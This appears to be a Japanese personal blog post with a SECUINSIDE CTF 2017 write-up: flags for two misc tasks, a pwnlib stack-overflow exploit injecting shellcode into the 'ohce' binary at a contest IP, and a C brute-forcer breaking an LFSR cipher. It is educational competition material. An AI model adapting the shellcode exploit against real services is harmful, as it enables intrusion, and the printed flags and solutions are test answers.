h_nosonの日記

競プロなど

SECUINSIDE CTF 2017 Writeup

wwogtechで出てました。
389点取って54位。

Writeup

SANITY CHECK [MISC 30]

SECU[THIS_IS_FLAG]

CAT CARRIER [MISC 30]

何か問題が起きたらしい

SECU[____MEOW_____MEOW____]

OHCE [PWNABLE 133]

ELF 64-bit、静的リンク、NX有効

% file ohce
ohce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
% checksec -f ohce
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               0       ohce

echoで入力をそのまま出力し、echo(Reverse)で入力を反転させてから出力している。

% ./ohce

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 1
hoge
hoge

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 2
hoge

egoh
-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 3

echoではstrlenで得た文字列の長さだけ文字列を出力しており、echo(Reverse)ではstrlenで得た文字列の長さを元に文字列を反転し、出力している。

<echo>:
  40014c:   55                      push   rbp
  40014d:   48 89 e5                mov    rbp,rsp
  400150:   e8 4e 00 00 00          call   0x4001a3 <read20>
  400155:   48 89 c7                mov    rdi,rax
  400158:   e8 10 01 00 00          call   0x40026d <strlen>
  40015d:   48 89 c6                mov    rsi,rax
  400160:   e8 2b 00 00 00          call   0x400190 <write>
  400165:   48 89 ec                mov    rsp,rbp
  400168:   5d                      pop    rbp
  400169:   c3                      ret

<echo_reverse>:
  40016a:   55                      push   rbp
  40016b:   48 89 e5                mov    rbp,rsp
  40016e:   48 89 e7                mov    rdi,rsp
  400171:   e8 2d 00 00 00          call   0x4001a3 <read20>
  400176:   48 89 c7                mov    rdi,rax
  400179:   e8 ef 00 00 00          call   0x40026d <strlen>
  40017e:   48 89 c6                mov    rsi,rax
  400181:   e8 fb 00 00 00          call   0x400281 <reverse>
  400186:   e8 05 00 00 00          call   0x400190 <write>
  40018b:   48 89 ec                mov    rsp,rbp
  40018e:   5d                      pop    rbp
  40018f:   c3                      ret

.....

<reverse>:
  400281:   55                      push   rbp
  400282:   48 89 e5                mov    rbp,rsp
  400285:   48 89 f0                mov    rax,rsi
  400288:   49 89 f9                mov    r9,rdi
  40028b:   49 89 f8                mov    r8,rdi
  40028e:   49 01 c0                add    r8,rax
  400291:   49 ff c8                dec    r8
  400294:   48 d1 e8                shr    rax,1
  400297:   41 8a 19                mov    bl,BYTE PTR [r9]
  40029a:   41 8a 10                mov    dl,BYTE PTR [r8]
  40029d:   41 88 11                mov    BYTE PTR [r9],dl
  4002a0:   41 88 18                mov    BYTE PTR [r8],bl
  4002a3:   49 ff c1                inc    r9
  4002a6:   49 ff c8                dec    r8
  4002a9:   48 ff c8                dec    rax
  4002ac:   75 e9                   jne    0x400297
  4002ae:   5d                      pop    rbp
  4002af:   c3                      ret

メモリを見てみると入力した文字列の直後にrbpの値が格納されている。入力できる文字列の上限は0x20のため、rbpの値の直前まで文字列を詰めることができる。

0x7fffffffea80: 0x00000a4141414141      0x0000000000000000
0x7fffffffea90: 0x0000000000000000      0x0000000000000000
0x7fffffffeaa0: 0x00007fffffffeab0      0x000000000040015d

文字列を0x20文字入力したとき、strlenの返り値は0x26となり、echoではスタックのアドレスをリークでき、echo(Reverse)ではrbpを自由に設定することができる。rbpをうまく操作してシェルコードを実行させることで、シェルを奪える。(NX有効だけどなぜかシェルコードを実行できた。libc_startがなかったからだろうか)

#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local('./ohce')
    else:
        s = Remote('13.124.134.94', 8888)

    s.sendline("1")
    s.sendline("A" * 0x1f)
    s.recvuntil("A\n")
    stack_addr = u64(s.recv(6))
    print "[*] stack is at", hex(stack_addr)

    s.sendline("1")
    payload = ""
    payload += "A" * 8
    payload += p64(stack_addr - 0x40)
    payload += "A" * 0x40
    s.sendline(payload)

    s.sendline("2")
    shellcode = get_shellcode("lin64")
    payload = ""
    payload += "\x90" * (0x39 - len(shellcode))
    payload += shellcode
    payload += p64(stack_addr - 0x70)[:6]
    s.sendline(payload[::-1])
    s.interact()
% ./exploit.py remote
[*] stack is at 0x7ffd897cced0
[*] Switching to interactive mode

-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > AAAAAAAA
・----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
 > 

ls
flag
ohce
$ cat flag
SECU[the_true_world_and_1n_here_1s_the_dream]

TRIPLEROTATE [REVERSING 196]

encryptとprobというファイルが渡される。encryptはフラグをprobで暗号化したもの。

probを解析してみると、

まず9文字の入力を0x17,0x18,0x19bitに分割してひっくり返す。 例えば入力が"hogehogea"なら

a = 11001101111011000010110
b = 111011000010110101001101
c = 1000011010100110111001101

次に
a[i+0{\rm x}17] = a[i] \oplus a[i+5]
b[i+0{\rm x}18] = b[i] \oplus b[i+1] \oplus b[i+3] \oplus b[i+4]
c[i+0{\rm x}19] = c[i] \oplus c[i+3]
を繰り返し実行し、それぞれの長さが201になるまで繰り返す。
(a\wedge b) \oplus (b\wedge c) \oplus cが暗号文になる。

ということがわかった。

(a\wedge b)\oplus(b\wedge c)\oplus c=(a\wedge b)\oplus (\lnot{b}\wedge c)なのでbが決まればaかcのどちらかが一意に決まることがわかる。 f:id:h_noson:20170702163742p:plain 上の図のようにbの値によってa,cを決めることができる。決まったa,cに対して上記の式を満たすかどうかを判定することで平文を見つけられる。

#include <cstdio>

const int N = 201;

int data[N], a[N], b[N], c[N];

int main(void) {
    FILE *fp = fopen("encrypt","r");
    for (int i = 0; i < N; i++) {
        fscanf(fp,"%d",&data[i]);
    }
    for (int i = 0; i < 1<<0x18; i++) {
        if (i % 0x100 == 0) {
            printf("\r[*] b = 0x%x",i);
            fflush(stdout);
        }
        int x = i;
        for (int j = 0; j < 0x18; j++) {
            b[j] = x & 1;
            x >>= 1;
        }
        for (int j = 0; j < N-0x18; j++) {
            b[j+0x18] = b[j] ^ b[j+1] ^ b[j+3] ^ b[j+4];
        }
        for (int j = 0; j < N; j++) {
            if (b[j]) {
                a[j] = data[j];
                c[j] = -1;
            }
            else {
                c[j] = data[j];
                a[j] = -1;
            }
        }
        bool ok = true;
        for (int j = 0; j < N-0x17; j++) {
            if ((a[j] | a[j+5] | a[j+0x17]) >= 0) {
                if (a[j] ^ a[j+5] != a[j+0x17]) {
                    ok = false;
                    break;
                }
            }
            else if ((a[j] | a[j+5]) >= 0) {
                a[j+0x17] = a[j] ^ a[j+5];
            }
            else if ((a[j+5] | a[j+0x17]) >= 0) {
                a[j] = a[j+5] ^ a[j+0x17];
            }
            else if ((a[j+0x17] | a[j]) >= 0) {
                a[j+5] = a[j+0x17] ^ a[j];
            }
        }
        if (!ok) continue;
        for (int j = 0; j < N-0x19; j++) {
            if ((c[j] | c[j+3] | c[j+0x19]) >= 0) {
                if (c[j] ^ c[j+3] != c[j+0x19]) {
                    ok = false;
                    break;
                }
            }
            else if ((c[j] | c[j+3]) >= 0) {
                c[j+0x19] = c[j] ^ c[j+3];
            }
            else if ((c[j+3] | c[j+0x19]) >= 0) {
                c[j] = c[j+3] ^ c[j+0x19];
            }
            else if ((c[j+0x19] | c[j]) >= 0) {
                c[j+3] = c[j+0x19] ^ c[j];
            }
        }
        if (!ok) continue;
        for (int k = 0; k < N; k++) {
            for (int j = 0; j < N-0x17; j++) {
                if ((a[j] | a[j+5]) >= 0) {
                    a[j+0x17] = a[j] ^ a[j+5];
                }
                else if ((a[j+5] | a[j+0x17]) >= 0) {
                    a[j] = a[j+5] ^ a[j+0x17];
                }
                else if ((a[j+0x17] | a[j]) >= 0) {
                    a[j+5] = a[j+0x17] ^ a[j];
                }
            }
            for (int j = 0; j < N-0x19; j++) {
                if ((c[j] | c[j+3]) >= 0) {
                    c[j+0x19] = c[j] ^ c[j+3];
                }
                else if ((c[j+3] | c[j+0x19]) >= 0) {
                    c[j] = c[j+3] ^ c[j+0x19];
                }
                else if ((c[j+0x19] | c[j]) >= 0) {
                    c[j+3] = c[j+0x19] ^ c[j];
                }
            }
        }
        printf("\r[*] b = 0x%x\n",i);
        for (int j = 0; j < N; j++) {
            printf("%d",a[j] >= 0 ? a[j] : 2);
        }
        puts("");
        for (int j = 0; j < N; j++) {
            printf("%d",b[j] >= 0 ? b[j] : 2);
        }
        puts("");
        for (int j = 0; j < N; j++) {
            printf("%d",c[j] >= 0 ? c[j] : 2);
        }
        puts("");
        break;
    }
    return 0;
}
% ./solve
[*] b = 0x183b19
011001011111010100100101101101101010001100100110110001011000111111111100111010001110000011000011111010011111000101111101101011111011110110010000101100000001111100001101011001111111110101000011001100001
100110001101110000011000111000100100010101100000000100001011001010100001101111110110100011110100110011000111000111110111111100000000001011011000100100000011110000100100001100100110011100001110111000111
101000100101111011111010110110000101010010010110000011010111100000010011001100110101110001000101010101001101111100110111111110010001001101000100000110001100010010110010011011110111000010010000100010100
SECU[I_L0v3_zE]

感想

babyheapができなかったのでheapの勉強をしたくなった